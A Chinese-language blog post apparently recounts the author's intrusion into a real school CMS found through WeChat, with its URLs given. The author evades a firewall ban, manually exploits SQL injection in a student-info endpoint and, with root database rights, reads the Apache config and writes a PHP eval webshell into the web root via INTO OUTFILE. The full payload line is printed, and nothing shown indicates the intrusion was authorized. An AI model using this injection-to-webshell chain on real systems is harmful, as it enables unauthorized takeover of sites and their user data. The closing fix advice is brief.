张爱玲说,阳光温热,岁月静好,你还不来,我怎敢老去 我来不及认真地年轻,待明白过来时,只能选择认真地老去。——三毛
0x01
信息搜集
从微信端获得如下url
https://wwxt.ngrok.natapp.cn/CMS2/register.php
http://wwxt.ngrok.natapp.cn/CMS2/reg.html
0x02
手动探测
在reg.php中发现一个ajax请求。url是:service.php?action=queryStudentInfo&stu_id=
从功能上来看是一个获取用户信息的ajax接口,既然和数据库操作相关,那么会不会存在注入呢?简单粗暴的丢到了sqlmap里,结果发现一片红,应该是被防火墙给拦截了。同时ip也被ban了,无法访问http了。
打开cmd ping了一下服务器 发现是ping的通的。
于是推测 仅仅限制访问了http
打开kali 用nmap扫了一下端口,发现开放了443
于是改用https协议访问,返回正常。
这下也不敢用工具了,直接开始手动注入
0x03
攻击&渗透
手动测试,发现很可能存在漏洞
上面那条语句应该返回了所有的用户信息,但是只取了第一条返回。
于是测试字段数
发现八个字段时返回正常,且显示位是3,4,7,8
看看数据库权限先~
看到root简直开心。。代表可以读文件、写文件 以及很大的权限
想直接写一个php木马到网站根目录,但是貌似不知道网站的根目录
所以先尝试下读apache的配置文件看看 能不能找到网站的根目录
用apache的默认路径成功读取到信息!
那么我们就得到了网站的根路径 /var/services/web/
尝试写一个php一句话木马
http://xxxxx ‘ union select 1,2,3,4,5,6,7,’<?php eval($_POST[hhh]);?>’ into outfile ‘/var/services/web/CMS2/hhh.php’%23
写入成功~~~
到这一步已经想干啥就可以干啥了 网站,数据库,微信全部可以控制了~
0x04
结尾
由于老师一夜之间就已经修复了漏洞,所以现在放出过程也没什么事。。。
好久没有渗透 全篇没什么技术含量
修复建议:
增加过滤函数防止注入
不要直接用root来操作数据库